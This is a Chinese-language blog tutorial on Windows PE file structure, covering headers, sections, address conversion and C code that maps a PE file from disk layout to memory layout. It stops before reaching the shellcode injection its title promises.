PE文件结构从初识到简单shellcode注入

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前言

​ 将自己学习的PE文件结构进行总结形成文章这件事情，一直躺在我的Notion TodoList里，但是一直是未完成的状态哈哈，拖了那么久也该让它状态变成已完成了。

PE文件简介

​ PE文件的全称是Portable Executable，意为可移植的可执行的文件，常见的EXE、DLL、OCX、SYS、COM都是PE文件，PE文件是微软Windows操作系统上的程序文件（可能是间接被执行，如DLL）。

​ 上面是百度复制来的，我个人理解的PE文件结构其实就类似于CTF Misc题中的jpg、png、zip文件格式类似，当你了解了这些文件格式后，你可以通过修改二进制数据来改图片宽高等属性，同样的，当你了解Windows PE文件结构后，你也可以修改PE文件的一些属性，比如修改程序入口点甚至修改程序运行逻辑。

文件对齐/内存对齐

​ 一个PE文件的结构有两种表现方式，一种是“躺”在硬盘里的时候，也就是程序未执行的时候，一种是你调用或者双击运行程序，程序载入内存后，两种表现方式其实结构大体相同，只是内部某个部分之间的间隔稍有不同，如下图：

​ 如上图可见，当PE文件加载到内存中后，DOS头到最后一个节区头的部分是一致的，而之后节区与节区之间的间隔，内存中的间隔会更大。但是，这种情况是不一定的，也有硬盘中和内存中的间隔是一致，这取决于PE文件结构中的某一个属性的设置。

​ 那么为什么需要这样的操作呢？直接把文件按照原样加载到内存中不是更方便吗？这其实是由于操作系统内存对齐所产生的一个操作，具体内存对齐可以通过百度百科了解：https://baike.baidu.com/item/内存对齐/9537460?fr=aladdin。内存对齐简单点说就是以一块内存一块内存来读取内存中的数据，而不是根据实际大小来读取，这样省去计算实际大小这个操作就提升了内存读取的速度。但是如果直接按照内存对齐的结构把PE文件存储到硬盘中，实际上有一大部分由于内存对齐而加进来的空间是无用的。在以前的计算机中，硬盘其实都不大，为了剩下这部分空间，所以就多了一个“裁剪”多余空间的操作，把对齐值调小一点，尽量减小无用的空间占用硬盘资源。而现在有些编译器的内存对齐和文件对齐是一样的了，那是因为如今的硬盘资源已经很充足，不需要废时间来省下这点空间了。

结构体

​ 结构体是由一批数据组合而成的结构型数据。组成结构型数据的每个数据称为结构型数据的“成员” ，其描述了一块内存区间的大小及解释意义。

​ 没错，上面这段我又是百度复制的。其实应该有一部分人在学习编程的时候，遇到结构体都不知道有啥大用，难道它只能用来做做编程练习吗？那肯定是不可能。就如百度百科解释所说的，结构体描述了一块内存区间的大小及解释意义，我们想象一下，当我们通过编程语言把PE文件读入内存中后，要怎么分别把DOS头、DOS存根等等每一块内容取出来呢？当然，通过类似于Python的切片来做是可以实现的，但是总感觉还是有点麻烦。这时候就需要用到结构体了，winnt.h头文件中定义了DOS头结构体指针类型PIMAGE_DOS_HEADER，当我们需要取DOS头数据的时候，就可以直接把内存中整块PE文件数据强制转换成PIMAGE_DOS_HEADER类型，这时候程序把PE文件数据作为PIMAGE_DOS_HEADER进行解析，你在C语言中就可以很轻松的通过pe_data->e_lfanew来很轻松的获取到DOS头中的某一个数据了。

​ 可能这样讲还是有点抽象，我们再分细一点来说。首先结构体其实类似于数组，也是一段连续的内存块，只不过他内存块中每一块的大小由结构体成员决定。一个int类型数组，我们假设一个单元格是一个字节，一个int类型元素占四个字节，在内存中分布如下图（实际int在内存中大部分操作系统是小端序存储，所以数据是反过来存的，参考：https://www.jianshu.com/p/f29873769488）：

​ 我们定义一个结构体

struct person {
    int id;
    char name[6];
};
person p;
p.id = 1;
strcpy(p.name, "gcker");

​ person结构体它在内存中分布是这样的（int是小端序存储，char是大端序存储）：

​ 当我们通过p.name来取数据的时候，实际就是从一块内存数据为01 00 00 00 67 63 6b 65 00中，从67开始取数据。再做个有趣的实验，代码如下：

char data[] = { 0x01, 0x00, 0x00, 0x00, 0x67, 0x63, 0x6b, 0x65, 0x72, 0x00 };
person *p_person = (person*)data;
printf("%s", p_person->name);
// 输出：gcker

​ 你们能理解我的意思吗😂？通过上述这个实验，我们转换一下，读取的PE文件数据是data，我们把data强制转换成PIMAGE_DOS_HEADER，那么是不是就可以解析出DOS头的数据了。PIMAGE_DOS_HEADER的定义如下：

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number，“MZ”标记，PE文件的开始，就是我们以十六进制方式打开PE文件时看到的开头那个MZ
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header，PE头相对于文件的偏移，用于定位PE头
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

​ 我们通过HxD打开一个PE文件，通过下图来展示把PE文件数据强制转换成PIMAGE_DOS_HEADER会有什么效果，看下图：

​ 看下实现代码：

FILE* pf = fopen("C:\\Users\\gcker\\Desktop\\putty.exe", "rb");
char data[1024] = { 0 };
fread(data, 1024, 1, pf);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)data;
printf("%x", pDosHeader->e_magic);

​ 我们通过上述的方式，就可以成功解析PE文件的DOS头了，这就是我挑出结构体来讲一讲的理由，它可以让我们在编程中很方便的去解析任意文件的格式（在已经有定义好的结构体条件下）。

ImageBase/VA/RVA/RAW

​ 在正式学习PE文件结构前，还需要了解几个名词。

ImageBase

​ 基地址，PE文件的优先装载地址。比如，如果该值是400000h，PE装载器将尝试把文件装到虚拟地址空间的400000h处。字眼"优先"表示若该地址区域已被其他模块占用，那PE装载器会选用其他空闲地址。简而言之，就是指定PE文件载入内存时，优先尝试载入的内存起始地址。

VA

​ VA (virtual Address) 虚拟地址的意思，其实就是PE文件启动并载入内存后，某一块数据在内存中的地址。

RVA

​ RVA(relative Virtual Address) 相对虚拟地址偏移，RVA = 虚拟地址(VA) - 基地址(ImageBase)，是相对于基地址的偏移，即RVA是虚拟内存中用来定位某个特定位置的地址，该地址的值是这个特定位置距离模块基地址的偏移量。有点类似于数组下标，数组内存中起始地址就是基地址，下标就是偏移量。

RAW

​ 文件偏移地址（或物理地址），当PE文件存储在磁盘上时，各个数据的地址。一般我们用HxD工具打开一个PE文件后左边的Offset一栏就是。

PE文件结构

​ 按我的理解，学习PE文件结构其实就是理解它每一块组成部分中各个成员的作用。通过本文第二部分内容的图可知，PE文件结构从上到下共分为DOS头、DOS存根、NT头、N个节区头、N个节区（有几个节区头就对应几个节区）。这里面除了DOS存根外，所有的内容在winnt.h中都定义了对应的结构体指针类型。

DOS头

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number，"MZ标记" 用于判断是否为可执行文件。
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header，NT头相对于文件的偏移，用于定位PE文件。
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

DOS存根

​ 一个PE文件中，DOS头下，NT头上的内容就是DOS存根。它是一个可选项，且大小不固定，即使没有DOS存根文件也能正常运行。DOS存根由代码和数据混合而成。

​ 如上图，文件Offset 0x40~0x4D这篇区域为16位的汇编指令，在32位及以上操作系统运行程序时不会执行该指令。在DOS环境中或使用DOS调试器运行它时，会执行这段指令（因为如DOS等16位操作系统不认识PE文件，识别成DOS EXE文件，所以执行这一段）。

​ 在WindowsXP下，运行命令debug notepad.exe启动notepad.exe，在出现的光标位置输入“u”指令，会出现16位汇编指令。

​ 大概意思就是会在终端中输出字符串“This program cannot be run in DOS mode”后就退出程序，换言之这里DOS存根的作用就是当32位程序在16位DOS下运行时，就会提示“This program cannot be run in DOS mode”后就退出程序，作为对MS-DOS的兼容。

NT头

​ IMAGE_NT_HEADER结构体由3个成员组成，其中后面两个成员为结构体，属于结构体内嵌套结构体。

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;						// 签名，值一直为50450000h（“PE”00）
    IMAGE_FILE_HEADER FileHeader;			// 文件头地址
    IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 可选头地址
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

文件头

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;						// 程序运行的CPU型号：0x0 任何处理器/0x14C 386及后续处理器
    WORD    NumberOfSections;				// 文件中存在的节的总数,如果要新增节或者合并节 就要修改这个值.
    DWORD   TimeDateStamp;					// 时间戳：文件的创建时间(和操作系统的创建时间无关)，编译器填写的.
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;			// 可选PE头的大小，32位PE文件默认E0h 64位PE文件默认为F0h  大小可以自定义.
    WORD    Characteristics;				// 每个位有不同的含义，可执行文件值为10F 即0 1 2 3 8位置1 
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

​ IMAGE_FILE_HEADER结构体有以下四个重要成员，若它们设置不正确，将导致文件无法正常运行。

Machine

​ 每个CPU都拥有唯一的Machine码，兼容32位Intel x86芯片的Machine码为14C，其余是定义在winnt.h文件中的Machine码。

#define IMAGE_FILE_MACHINE_UNKNOWN           0
#define IMAGE_FILE_MACHINE_I386              0x014c  // Intel 386.
#define IMAGE_FILE_MACHINE_R3000             0x0162  // MIPS little-endian, 0x160 big-endian
#define IMAGE_FILE_MACHINE_R4000             0x0166  // MIPS little-endian
#define IMAGE_FILE_MACHINE_R10000            0x0168  // MIPS little-endian
#define IMAGE_FILE_MACHINE_WCEMIPSV2         0x0169  // MIPS little-endian WCE v2
#define IMAGE_FILE_MACHINE_ALPHA             0x0184  // Alpha_AXP
#define IMAGE_FILE_MACHINE_SH3               0x01a2  // SH3 little-endian
#define IMAGE_FILE_MACHINE_SH3DSP            0x01a3
#define IMAGE_FILE_MACHINE_SH3E              0x01a4  // SH3E little-endian
#define IMAGE_FILE_MACHINE_SH4               0x01a6  // SH4 little-endian
#define IMAGE_FILE_MACHINE_SH5               0x01a8  // SH5
#define IMAGE_FILE_MACHINE_ARM               0x01c0  // ARM Little-Endian
#define IMAGE_FILE_MACHINE_THUMB             0x01c2
#define IMAGE_FILE_MACHINE_AM33              0x01d3
#define IMAGE_FILE_MACHINE_POWERPC           0x01F0  // IBM PowerPC Little-Endian
#define IMAGE_FILE_MACHINE_POWERPCFP         0x01f1
#define IMAGE_FILE_MACHINE_IA64              0x0200  // Intel 64
#define IMAGE_FILE_MACHINE_MIPS16            0x0266  // MIPS
#define IMAGE_FILE_MACHINE_ALPHA64           0x0284  // ALPHA64
#define IMAGE_FILE_MACHINE_MIPSFPU           0x0366  // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU16         0x0466  // MIPS
#define IMAGE_FILE_MACHINE_AXP64             IMAGE_FILE_MACHINE_ALPHA64
#define IMAGE_FILE_MACHINE_TRICORE           0x0520  // Infineon
#define IMAGE_FILE_MACHINE_CEF               0x0CEF
#define IMAGE_FILE_MACHINE_EBC               0x0EBC  // EFI Byte Code
#define IMAGE_FILE_MACHINE_AMD64             0x8664  // AMD64 (K8)
#define IMAGE_FILE_MACHINE_M32R              0x9041  // M32R little-endian
#define IMAGE_FILE_MACHINE_CEE               0xC0EE

NumberOfSections

​ NumberOfSections用来指出文件中存在的节区数量，该值一定要大于0，且当定义的节区数量与实际节区不同时，将发生运行错误。

SizeOfOptionalHeader

​ SizeOfOptionalHeader用于指定IMAGE_OPTIONAL_HEADER32（可选PE头）结构体的长度，IMAGE_OPTIONAL_HEADER32结构体由C语言编写，故其大小已经确定。但是Windows的PE装载器需要查看IMAGE_FILE_HEADER的SizeOfOptionalHeader值来确定IMAGE_OPTIONAL_HEADER32的大小。

​ PE32+（64位程序）使用IMAGE_OPTIONAL_HEADER64结构体，与IMAGE_OPTIONAL_HEADER32结构体长度不同，所以需要在SizeOfOptionalHeader中指明可选结构体大小。

Characteristics

​ 该字段用于标识文件的属性，文件是否是可运行状态、是否为DLL文件等信息。所有标识定义在winnt.h中。

#define IMAGE_FILE_RELOCS_STRIPPED           0x0001  // Relocation info stripped from file.
#define IMAGE_FILE_EXECUTABLE_IMAGE          0x0002  // File is executable  (i.e. no unresolved externel references).
#define IMAGE_FILE_LINE_NUMS_STRIPPED        0x0004  // Line nunbers stripped from file.
#define IMAGE_FILE_LOCAL_SYMS_STRIPPED       0x0008  // Local symbols stripped from file.
#define IMAGE_FILE_AGGRESIVE_WS_TRIM         0x0010  // Agressively trim working set
#define IMAGE_FILE_LARGE_ADDRESS_AWARE       0x0020  // App can handle >2gb addresses
#define IMAGE_FILE_BYTES_REVERSED_LO         0x0080  // Bytes of machine word are reversed.
#define IMAGE_FILE_32BIT_MACHINE             0x0100  // 32 bit word machine.
#define IMAGE_FILE_DEBUG_STRIPPED            0x0200  // Debugging info stripped from file in .DBG file
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP   0x0400  // If Image is on removable media, copy and run from the swap file.
#define IMAGE_FILE_NET_RUN_FROM_SWAP         0x0800  // If Image is on Net, copy and run from the swap file.
#define IMAGE_FILE_SYSTEM                    0x1000  // System File.
#define IMAGE_FILE_DLL                       0x2000  // File is a DLL.
#define IMAGE_FILE_UP_SYSTEM_ONLY            0x4000  // File should only be run on a UP machine
#define IMAGE_FILE_BYTES_REVERSED_HI         0x8000  // Bytes of machine word are reversed.

可选PE头

typedef struct _IMAGE_OPTIONAL_HEADER {
    WORD    Magic;						// 说明文件类型：10B 32位下的PE文件     20B 64位下的PE文件
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;					// 所有代码节的和，必须是FileAlignment的整数倍 编译器填的
    DWORD   SizeOfInitializedData;		// 已初始化数据大小的和,必须是FileAlignment的整数倍 编译器填的
    DWORD   SizeOfUninitializedData;	// 未初始化数据大小的和,必须是FileAlignment的整数倍 编译器填的
    DWORD   AddressOfEntryPoint;		// 程序入口
    DWORD   BaseOfCode;					// 代码开始的基址，编译器填的
    DWORD   BaseOfData;					// 数据开始的基址，编译器填的
    DWORD   ImageBase;					// 内存镜像基址
    DWORD   SectionAlignment;			// 内存对齐
    DWORD   FileAlignment;				// 文件对齐（硬盘对齐）
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;				// 内存中整个PE文件的映射的尺寸，可以比实际的值大，但必须是SectionAlignment的整数倍
    DWORD   SizeOfHeaders;				// 所有头+节表按照文件对齐后的大小，否则加载会出错
    DWORD   CheckSum;					// 校验和，一些系统文件有要求.用来判断文件是否被修改.
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;			// 初始化时保留的堆栈大小
    DWORD   SizeOfStackCommit;			// 初始化时实际提交的大小 
    DWORD   SizeOfHeapReserve;			// 初始化时保留的堆大小 
    DWORD   SizeOfHeapCommit;			// 初始化时实践提交的大小 
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;		// 目录项数目
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

​ 在IMAGE_OPTIONAL_HEADER32结构体中需要关注下列成员，这些值设置错误会导致文件无法正常运行。

Magic

  • IMAGE_OPTIONAL_HEADER32时值为10B
  • IMAGE_OPTIONAL_HEADER64时值为20B

AddressOfEntryPoint

​ AddressOfEntryPoint持有EP（EntryPoint，程序入口点）的RVA值。该值指出程序最先执行的代码起始地址，相当重要。

ImageBase

​ 每个程序启动后都有一块独立的虚拟内存空间，进程虚拟内存的范围是00xFFFFFFFF（32位系统），PE文件被加载到如此大的内存中时，ImageBase指出文件的优先装入地址。EXE、DLL文件被装在到用户内存的00x7FFFFFFF中，SYS文件被载入内核内存的0x80000000~0xFFFFFFFF中。

​ 一般而言，开发工具（VB、VC++、Delphi）创建好EXE文件后，其ImageBase的值为0x00400000，DLL文件的ImageBase值为0x10000000（也可以设置为其他）。

​ 执行PE文件时，PE装载器先创建进程，再将文件载入内存，然后把EIP寄存器（EIP寄存器：用于告诉CPU需要执行的下一条指令的位置）的值设置为ImageBase+AddressOfEntryPoint。

SectionAlignment、FIleAlignment

FileAlignment：指定了节区块在磁盘文件中的最小单位

SectionAlignment：指定了节区在内存中的最小单位

​ FileAlignment和SectionAlignment的作用就是我们在本文“文件对齐/内存对齐”中讲到的，节区与节区之间的间隔，之所以会有间隔就是因为PE文件的节区在硬盘中和在内存中的大小不一致导致的。一个文件的FileAlignment和SectionAlignment的值可能相同或不同。PE文件在磁盘或内存中时，节区大小一定是FileAlignment或SectionAlignment值的整数倍。

SizeOfImage

​ 内存中整个PE文件的尺寸，可比实际的值大，但必须是SectionAlignment的整数倍。

SizeOfHeaders

​ SizeOfHeaders用来指出整个PE头的大小，该值也必须是FileAlignment的整数倍。第一节区所在的位置与SizeOfHeaders距文件开始偏移的量相同，所以可以证明SizeOfHeaders就是DOS头、DOS存根（如有）、NT头、所有节区头加起来的大小。

Subsystem

​ Subsystem值用来区分系统驱动文件（.sys）与普通的可执行文件（.exe、*.dll），可以有如下值如下：

#define IMAGE_SUBSYSTEM_UNKNOWN                  0   // Unknown subsystem.
#define IMAGE_SUBSYSTEM_NATIVE                   1   // Image doesn't require a subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_GUI              2   // Image runs in the Windows GUI subsystem.
#define IMAGE_SUBSYSTEM_WINDOWS_CUI              3   // Image runs in the Windows character subsystem.
#define IMAGE_SUBSYSTEM_OS2_CUI                  5   // image runs in the OS/2 character subsystem.
#define IMAGE_SUBSYSTEM_POSIX_CUI                7   // image runs in the Posix character subsystem.
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS           8   // image is a native Win9x driver.
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI           9   // Image runs in the Windows CE subsystem.
#define IMAGE_SUBSYSTEM_EFI_APPLICATION          10  //
#define IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER  11  //
#define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER       12  //
#define IMAGE_SUBSYSTEM_EFI_ROM                  13
#define IMAGE_SUBSYSTEM_XBOX                     14
#define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16
#define IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG        17

DataDirectory

​ 数据目录表，是一个结构体数组。数组里的每个元素对应一个数据表。通常有16个。数据目录表存放着例如导入表、导出表等数据。

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

DataDirectory[0] = IMAGE_DIRECTORY_ENTRY_EXPORT             // Export Directory
DataDirectory[1] = IMAGE_DIRECTORY_ENTRY_IMPORT             // Import Directory
DataDirectory[2] = IMAGE_DIRECTORY_ENTRY_RESOURCE           // Resource Directory
DataDirectory[3] = IMAGE_DIRECTORY_ENTRY_EXCEPTION          // Exception Directory
DataDirectory[4] = IMAGE_DIRECTORY_ENTRY_SECURITY           // Security Directory
DataDirectory[5] = IMAGE_DIRECTORY_ENTRY_BASERELOC          // Base Relocation Table
DataDirectory[6] = IMAGE_DIRECTORY_ENTRY_DEBUG              // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT          // (X86 usage)
DataDirectory[7] = IMAGE_DIRECTORY_ENTRY_ARCHITECTURE       // Architecture Specific Data
DataDirectory[8] = IMAGE_DIRECTORY_ENTRY_GLOBALPTR          // RVA of GP
DataDirectory[9] = IMAGE_DIRECTORY_ENTRY_TLS                // TLS Directory
DataDirectory[10] = IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG       // Load Configuration Directory
DataDirectory[11] = IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT      // Bound Import Directory in headers
DataDirectory[12] = IMAGE_DIRECTORY_ENTRY_IAT               // Import Address Table
DataDirectory[13] = IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT      // Delay Load Import Descriptors
DataDirectory[14] = IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR    // COM Runtime descriptor

NumberOfRvaAndSizes

​ 用来指定DataDirectory（IMAGE_OPTIONAL_HEADER32结构体最后一个成员）数组的个数。虽然结构体中明确定义了数组个数为IMAGE_NUMBEROF_DIRECTORY_ENTRIES(16个)，但是PE装载器用过查看NumberOfRvaAndSizes值来识别数组大小，换言之，数组大小也可能不是16。

节区头

​ PE文件格式的设计者把具有相似属性的数据统一保存在一个被称为“节区”的地方，然后需要把各节区属性记录在节区头中（节区属性中有文件/内存的起始位置、大小、访问权限等），常见节区有code、text、data、resource等。

​ 把PE文件创建成多个节区结构的好处是，可以保证程序的安全性。若把code与data放在一个节区中相互纠缠很容易引发安全问题，即使忽略过程中的烦琐。假设向字符串data写入数据时，由于某个原因导致溢出，那么其下的code就会被覆盖，应用程序就会崩溃。

类别 访问权限
code节区 执行、读取权限
data节区 非执行、读写权限
resource节区 非执行、读取权限

​ 节区头是由多个IMAGE_SECTION_HEADER结构体组成的，每个结构体对应一个节区头，每个节区头描述一个节区。

#define IMAGE_SIZEOF_SHORT_NAME 8
typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];	// 8个字节的节区名称，一般以\0结尾，如无\0默认取八个字节
    union {									// 
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;			// 节区的真实尺寸，是该节在没有对齐前的真实尺寸，该值可以不准确
    } Misc;
    DWORD   VirtualAddress;					// 节区的 RVA 地址（在内存中的偏移地址）
    DWORD   SizeOfRawData;					// 在文件中对齐后的尺寸（当代码中有char ch[1000];即未初始化的数组时，会出现Misc->VirtualSize比这个值大的情况，因为char ch[1000];未初始化在文件中是没有分配的，等到载入内存才会开辟这个空间）
    DWORD   PointerToRawData;				// 节在文件中的偏移量
    DWORD   PointerToRelocations;			// 在OBJ文件中使用，重定位的偏移
    DWORD   PointerToLinenumbers;			// 行号表的偏移（供调试使用地）
    WORD    NumberOfRelocations;			// 在OBJ文件中使用，重定位项数目
    WORD    NumberOfLinenumbers;			// 行号表中行号的数目
    DWORD   Characteristics;				// 节属性如可读，可写，可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

Characteristics

​ 节区头结构体最后一个成员Characteristics，有以下这些可选项：

//位数从低到高
#define IMAGE_SCN_SCALE_INDEX                0x00000001  //第1位 Tls index is scaled
#define IMAGE_SCN_CNT_CODE                   0x00000020  //第6位 Section contains code.
#define IMAGE_SCN_CNT_INITIALIZED_DATA       0x00000040  //第7位 Section contains initialized data.
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA     0x00000080  //第8位 Section contains uninitialized data.
#define IMAGE_SCN_LNK_INFO                   0x00000200  //第10位 Section contains comments or some other type of information.
#define IMAGE_SCN_LNK_REMOVE                 0x00000800  //第12位 Section contents will not become part of image.
#define IMAGE_SCN_LNK_COMDAT                 0x00001000  //第13位 Section contents comdat.
#define IMAGE_SCN_NO_DEFER_SPEC_EXC          0x00004000  //第15位 Reset speculative exceptions handling bits in the TLB entries for this section.
#define IMAGE_SCN_GPREL                      0x00008000  //第16位 Section content can be accessed relative to GP
#define IMAGE_SCN_LNK_NRELOC_OVFL            0x01000000  //第25位 Section contains extended relocations.
#define IMAGE_SCN_MEM_DISCARDABLE            0x02000000  //第26位 Section can be discarded.
#define IMAGE_SCN_MEM_NOT_CACHED             0x04000000  //第27位 Section is not cachable.
#define IMAGE_SCN_MEM_NOT_PAGED              0x08000000  //第28位 Section is not pageable.
#define IMAGE_SCN_MEM_SHARED                 0x10000000  //第29位 Section is shareable.
#define IMAGE_SCN_MEM_EXECUTE                0x20000000  //第30位 Section is executable.
#define IMAGE_SCN_MEM_READ                   0x40000000  //第31位 Section is readable.
#define IMAGE_SCN_MEM_WRITE                  0x80000000  //第32位 Section is writeable.

Name

​ Name成员不像C语言中的字符串一样以NULL结束，并且没有显示只能是ASCII值。PE规范未明确规定节区的Name，所以可以Name可以是任意值，甚至是NULL值。所以节区Name仅供参考，不能保证其百分百地被用作某种信息。

RVA to RAW

​ 我们通过本文“文件对齐/内存对齐”部分可知，PE文件在硬盘上和内存中节区部分有个“变大”的过程，这个过程一般称为“拉伸”。每个节区都要能准确完成内存地址与文件偏移之间的映射，这种映射一般称为RVA to RAW。

​ 根据IMAGE_SECTION_HEADER结构体，换算公式如下：

RAW - PointerToRawData = RVA - VirtualAddress

​ 进而得到：

RAW = RVA - VirtualAddress + PointerToRawData

​ 注意，PE头中表示地址时不使用VA，而是RVA，比如节区头成员 VirtualAddress 是内存中节区头的起始地址（RVA）。

C语言解析PE文件

​ 看了一堆理论可能会有点懵，我们通过实际练习来加深一下理解，这里我们通过C语言模拟PE装载器，完成PE文件从硬盘到内存中的节区拉伸过程，然后再从内存还原到硬盘中，实现一个困难版的程序复制粘贴😂。

​ 在编码过程中，可以找一个PE文件结构解析的工具来帮助你们调试，测试自己解析出来的数据正不正确，比如PE-Hacker等，吾爱破解或者其他地方都很容易找到。

拉伸

​ 模拟PE文件从文件装载到内存中拉伸的过程。

char* fileBuffertoImageBuffer(char *fileBuffer) {
	// 解析PE文件
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
	if (ppSectionHeader == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)(pOptionalHeader + 1);
	if (pFileHeader->NumberOfSections > 1) {
		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
		}
	}


	// 新建一块区域用于存放拉伸后的PE文件
	char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);
	if (imageBuffer == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);


	// 拉伸
	// DOS头到最后一个节区头部分不需要拉伸，所以直接拷贝过来
	memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);

	// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置，然后拷贝到imageBuffer的VirtualAddress处
	for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
		memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
	}
	
	return imageBuffer;
}

代码详解

  1. 解析PE文件：其实就是运用了本文“结构体”部分内容的思想进行解析
// 解析PE文件
